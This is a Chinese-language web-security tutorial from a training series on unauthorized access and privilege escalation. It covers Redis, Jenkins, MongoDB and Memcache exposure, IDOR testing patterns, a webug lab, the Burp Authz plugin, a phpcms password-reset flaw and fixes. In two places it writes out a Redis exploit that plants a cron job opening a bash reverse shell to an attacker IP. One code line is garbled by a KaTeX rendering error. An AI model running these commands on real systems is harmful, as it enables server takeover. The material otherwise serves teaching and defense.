[红日安全]Web安全Day7 - 越权/非授权访问实战攻防

本文由红日安全成员： misakikata 编写，如有不当，还望斧正。

大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。

1.越权
1.1 漏洞简介
未授权访问，顾名思义不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证页面存在缺陷，无认证，安全配置不当导致。常见于服务端口，接口无限制开放，网页功能通过链接无限制用户访问，低权限用户越权访问高权限功能。

何为越权漏洞，通俗的理解为用户可以操作超出自己管理权限范围的功能，从而进行非一般用户可以操作的行为。越权一般可以分为：垂直越权，水平越权。而在非用户登陆模式下，任意用户访问特定地址或链接均可以访问到需要用户身份后才可以访问到的功能。越权也可以看为安全配置不当导致的未授权访问。

1.2 漏洞原理
未授权访问是系统对用户限制不全，或者无限制，可以让任意用户或者限制访问用户，可以访问到内部敏感信息，导致的信息泄露，以及系统功能的执行。越权漏洞的产生原因是未对访问功能做权限的效对，或者限制不全，导致对用户的限制只局限于某一个功能和操作上。

1.3 漏洞危害
未授权访问通常是会泄露用户信息，系统信息。某些服务和系统中，未授权访问还可以执行系统命令，操作系统文件，导致系统的整体安全遭到破坏。而越权可以分为水平越权和垂直越权。垂直越权漏洞会导致低权限用户用来执行高权限用户的功能，获取高权限用户的账号信息，执行高权限用户的操作功能。水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息，如保存的地址、手机号、订单记录。同时还可能会以其他平级权限用户的身份来执行某行功能，如购买，删除，添加，修改等。

2. 漏洞测试方法
   2.1 常见的未授权服务
   2.1.1 redis未授权访问
   此问题在互联网上曾经多数存在，redis默认开放6379端口，且对外开放。可以通过此端口来执行命令写入文件来反弹shell。

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n”
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
2.1.2 Jenkins未授权访问
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
选择脚本命令行可以执行一些系统命令。

2.1.3 MongoDB未授权访问
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

默认开启在27017端口，新版早就默认绑定在本地，之前的老版本仍有一些在互联网上开放在跑的端口。

2.1.4 Memcache未授权访问
Memcached是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。

默认开启在11211端口，可以使用端口连接工具或者命令，nc等，连接成功则存在。

关于未授权访问的可以查看：https://www.secpulse.com/archives/61101.html

2.2 基于用户ID的越权
举个例子：

https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001
我们登陆某个系统后，看到某些功能上获取信息的方式类似于上链接时，可以初步判断获取信息的方式为根据user_id来获对应的用户信息，如果参数为用户名，我们可以手机用户名字典来枚举信息，根据返回值判断是否存在问题。当然如果枚举较大，系统用户数量又不是很多的情况下，可以尝试注册新用户，利用新用户的用户名来测试是否可以获取到用户信息。

如果参数为一个固定的数字串时，遍历数字串即可，这种情况下是系统对每个注册用户进行了一个用户id的排序，在众多的开源CMS上都有使用，当然这个字符串也有可能是随机，如果是随机的，量不大的情况下可以采用遍历的形式获取，量较大可以利用burp的随机数爆破，或者同样自己注册账户来测试。

2.3 基于功能对象ID的越权
举个例子：

https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
此问题大量存在于用户订单、购买、查询等功能的商家CMS上，例如以上地址，如果user_order是订单编号，那么我们可以尝试遍历订单地址来查询是否存在越权。如果编号并不是单纯的订单数字串，而是类似如上的编码字符串，相信自己的运气的话可以尝试某些编码的情况，例如BASE64、MD5。猜测不到，或者不能明显的看出来是如果做的处理，注册新账号重新下单，会是简单方便的选择。

2.4 基于上传文件对象ID的越权
举个例子：

https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
这种上传文件后，可以越权查看其他用户的上传文件也是经常发现类似的问题。假设，系统要求我们上传个人的身份证，实名认证信息、购买的发票订单等。如果上传后看到类似如上地址，可以猜测此上传文件可以遍历获取，同过查询fileid来查看其他用户的上传信息。如果上传后文件名如第二种，可能此文件是系统经过重命名的，重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段，这种情况下枚举较为困难，但仍然可以采用注册新用户的方式来查看是否存在越权。顺便一问，如果是www.ccc.com获取信息的方式，还可能会有什么问题呢？

2.5 基于未授权访问的越权
举个例子：

https://www.xxx.com/user1/[email protected]
在一些系统上登陆用户后，可以看到类似如上的地址链接，可能你会觉得这个跟问题1类似，但是也有可能多一张问题情况，在非登陆的情况下仍然可以访问到详细信息。如果可以，则证明后端对身份的效验只是基于参数user，并没有效验用户的session是否已登陆。此问题曾发现于一个系统后端支付订单复核的功能中，问题可想而知。

2.6 基于功能地址的越权
举个例子：

https://www.xxx.com/user/getuserinfo.php
如上地址，正常情况下，只访问此后台地址时，一般会跳转到登陆地址，或者登陆后用来查看某个具体的功能，获取数据的情况根据访问的链接地址来，理论上此功能并不存在越权可能，因为没有我们可以修改的参数。但是对权限及功能的限制可能只局限于用户菜单的限制，根据常用链接，可以猜测是否存在以下地址：

/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php
…
因为在绝大部分系统中，开发为了方便区别功能和页面，通常会利用对应的英文来命名文件，但这些文件并不是任意用户都可以访问到的，所以可以猜测访问地址是否英文的拼接来猜测路径。对于此问题的快捷测试是获取一个高权限账号，当然对于未授权测试来说，很难实现。

2.7 基于接口身份的越权
举个例子：

https://www.xxx.com/user/userinfo.php
post: {‘userid’:‘10001’,‘username’:‘name’,‘userage’:‘18’,‘usermobile’:‘18080808888’}
例如如上接口，修改用户信息，当我们点击某个系统的修改自身资料时，会发送一个类似的json数据包，其中userid对应我们自己的用户id，修改后，可以修改对应id的用户资料。修改方式类似问题1。区别在于一个页面可见，一个页面不直观可见，一个查询，一个修改。需要配合其他越权查询漏洞，或者账号来识别是否修改成功。

3. 漏洞靶场测试
   漏洞环境：phpstudy，webug4.0

靶场介绍：国产靶场，漏洞齐全，演示也相当完善。其中还分为初，中，高。虽然高好像没东西，但仍然是一个不错的靶场环境。

漏洞演示：演示为靶场的22号漏洞，越权修改密码

靶场安装：https://github.com/wangai3176/webug4.0，本来也给了一个vm的安装环境，但是那个百度云打不开了。就直接用文件自己安装，也没找到安装教程，就摸索着如下安装了。

把sql目录中的文件安装到数据库，新建三个按照文件名的数据库，导入数据文件，修改data目录下的dbconfig和dbconn文件，修改为自己的数据库账号密码和数据库名。修改完成后建议把网站目录修改为webug的目录下。直接访问本地地址即可。

另外需要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代码，不然跳转到错误路径：

header(“Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={KaTeX parse error: Expected 'EOF', got '}' at position 3: id}̲") 修改为： header(…id}”)
点击第一个越权修改密码后进入如下页面：

此处我打开了数据库来对应查看修改密码的情况，打开webug数据库下的user_test表，可以看到其中有两个用户如下：

此处利用aaaaa用户修改admin用户密码，利用aaaaa账户登陆后，看到如下界面

此处，我们可以先正常走一遍逻辑来查看其中的数据包情况，把aaaaa的密码修改为aaaaa，弹窗OK。然后查看抓取到的数据包。

其中有旧密码和新密码两个参数，理论上如果效验了旧密码和账号的一致性，就算链接中的id可以修改越权也无法修改密码，会提示旧密码不正确，但此处并没有效验旧密码和账号的一致性，导致修改链接中的2为1，post参数不变，或者任意旧密码值，便可以修改admin的密码。

查看数据库修改是否成功：

此处的问题存在两点，一是修改的用户身份由链接中的ID来决定，二是没有对旧密码和账户进行身份验证。

4. 工具测试
   对于越权类的安全问题，并没有自动化测试工具来发现和识别，至少现在没有发现哪里有完善的越权检测工具和扫描器。

此处介绍一款burp的越权插件，辅助检测越权漏洞，但是只能检测基于功能的越权，并不能自动的检测需要修改参数来判断越权形式的漏洞。

在burp的Extender选项中选择BApp Store选项卡，找到Authz插件，点击install。安装完成后选项卡中会出现一个Authz的新选项卡，界面如下：

此处需要两个用户身份，假设为A用户和B用户，登陆A用户的账号，获取Cookie到new header中，使用B账号抓包获取信息。到proxy中选择需要测试的功能地址，右键到Send requests to Authz。

获取够需要测试的功能后，到Authz界面点击run即可运行，此处没有设置cookie，那么将按照未授权访问来测试。

其中，会在请求中替换我们输入的cookie值，如图显示，源请求的字节长度，请求的字节长度，源请求的响应码，请求的响应码，通过对响应的差别来查看是否存在越权漏洞。

能达到此检测目的的还有一款插件AuthMatrix，也同样可以检测越权，功能强劲，使用较Authz复杂，对于高要求，多用户，需要对请求中的token等进行选择替换的，可以使用此插件。

介绍地址：https://github.com/portswigger/auth-matrix

5. CMS演示
   5.1 前台任意修改其他用户信息
   漏洞环境：phpstudy，phpcms9.5.9

漏洞介绍：phpcms设计缺陷导致前台用户可以任意修改其他用户密码

漏洞下载：http://download.phpcms.cn/v9/9.5/phpcms_v9.5.9_UTF8.zip

解压安装到phpstudy，访问后需要安装，按照安装要求，填入账号密码。等待安装完成，将自动跳转到后台管理页面。登陆后台需要先添加邮箱认证，如下添加的腾讯邮箱。具体腾讯授权码获取方式可以查看：https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256

在用户模块中添加如下信息，新增两个测试用户，类似如下，需要其中一个可以接收邮件。

在站点首页点击登陆处，如果跳转到404安装页面，可能是你没有删除install安装目录，删除访问index.php即可。选择忘记密码->用户名找回密码

点击获取邮箱效验码

返回上一步输入想修改的用户，如下test2

输入之前的邮箱验证码提交

点击后显示密码修改成功为以下：

尝试使用新密码登陆成功：

漏洞修复：此问题出现原因在于验证码没有跟账号做绑定，验证时只做了验证码是否有效的判断。对于此类问题，频繁出现在手机号验证码，邮箱验证码处，在最后执行修改时需要一同验证，验证码和手机或者邮箱的对应关系。

5.2 redis未授权访问
漏洞环境：Ubuntu，reids 3.2.0

漏洞介绍：Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以写入文件来反弹shell

安装如下：

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件

vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes 改为no
在配置文件目录下启动

./src/redis-server redis.conf
启动后显示如下：

通过reids命令可以查看基本信息

尝试反弹shell到指定地址

set x “\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
save
或者采用gopher协议，直接利用curl一条命令执行

6. 漏洞修复
   1、验证需要从前端获取的参数，比如用户ID和角色权限名，对于需要根据前台请求来返回数据的参数进行权限效验。

2、对于固定返回信息可以使用特定链接地址返回，同时采用不可预测地址，如：getuserinfo_snhx.php

3、对于需要修改、新增等功能进行判断，根据当前seesion判断用户，参数中只传输修改的用户信息。

4、区分用户和管理员时，不采用某些相同的参数来区别。如dede区分管理和用户都是采用ID值，容易产生问题。

5、对于查询类越权需要对每一次请求的参数做当前用户身份效验，避免水平越权。